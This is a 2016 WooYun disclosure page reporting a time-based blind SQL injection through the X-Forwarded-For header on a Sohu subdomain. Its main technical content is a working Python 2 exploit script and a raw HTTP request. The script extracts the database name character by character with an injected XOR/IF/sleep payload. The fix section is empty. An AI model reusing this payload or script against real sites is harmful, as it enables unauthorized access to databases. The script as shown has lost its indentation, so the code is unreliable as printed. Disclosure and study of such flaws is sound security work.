当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0204151

漏洞标题:搜狐某站HTTP头过滤不严存在SQL注入(附验证脚本)

相关厂商:搜狐

漏洞作者: Vinc

提交时间:2016-05-01 19:58

修复时间:2016-06-16 15:10

公开时间:2016-06-16 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-01: 细节已通知厂商并且等待厂商处理中
2016-05-02: 厂商已经确认,细节仅向厂商公开
2016-05-12: 细节向核心白帽子及相关领域专家公开
2016-05-22: 细节向普通白帽子公开
2016-06-01: 细节向实习白帽子公开
2016-06-16: 细节向公众公开

简要描述:

- - !

详细说明:

站点:f.sohu.com
HTTP包如下,X-Forwarded-For存在Time-Based盲注
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
X-Forwarded-For: *
X-Requested-With: XMLHttpRequest
Referer: http://f.sohu.com
Host: f.sohu.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

漏洞证明:

database()长度为5

123.png


# -*- coding: utf8 -*-
#encoding=utf-8
import httplib
import time
import string
import sys
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())
database = ''
for i in range(1,6,1):
for payload in payloads:
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
'Referer': 'http://f.sohu.com','X-Forwarded-For': '\'XOR(if(ascii(mid(database(),'+str(i)+',1))='+str(ord(payload))+',sleep(10),1))OR\''}
#print '\'XOR(if(ascii(mid(database(),'+str(i)+',1))='+str(ord(payload))+',sleep(10),1))OR\''
conn = httplib.HTTPConnection('f.sohu.com', timeout=10)
conn.request(method='GET', url="/", headers=headers)
status = conn.getresponse().status
conn.close()
except Exception, e:
#print e
database += payload
print '\r[+]Running:' ,database
time.sleep(0.01)
break
print ''
print 'database() is', database

修复方案:

.

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-05-02 15:02

厂商回复:

感谢支持。

最新状态:

暂无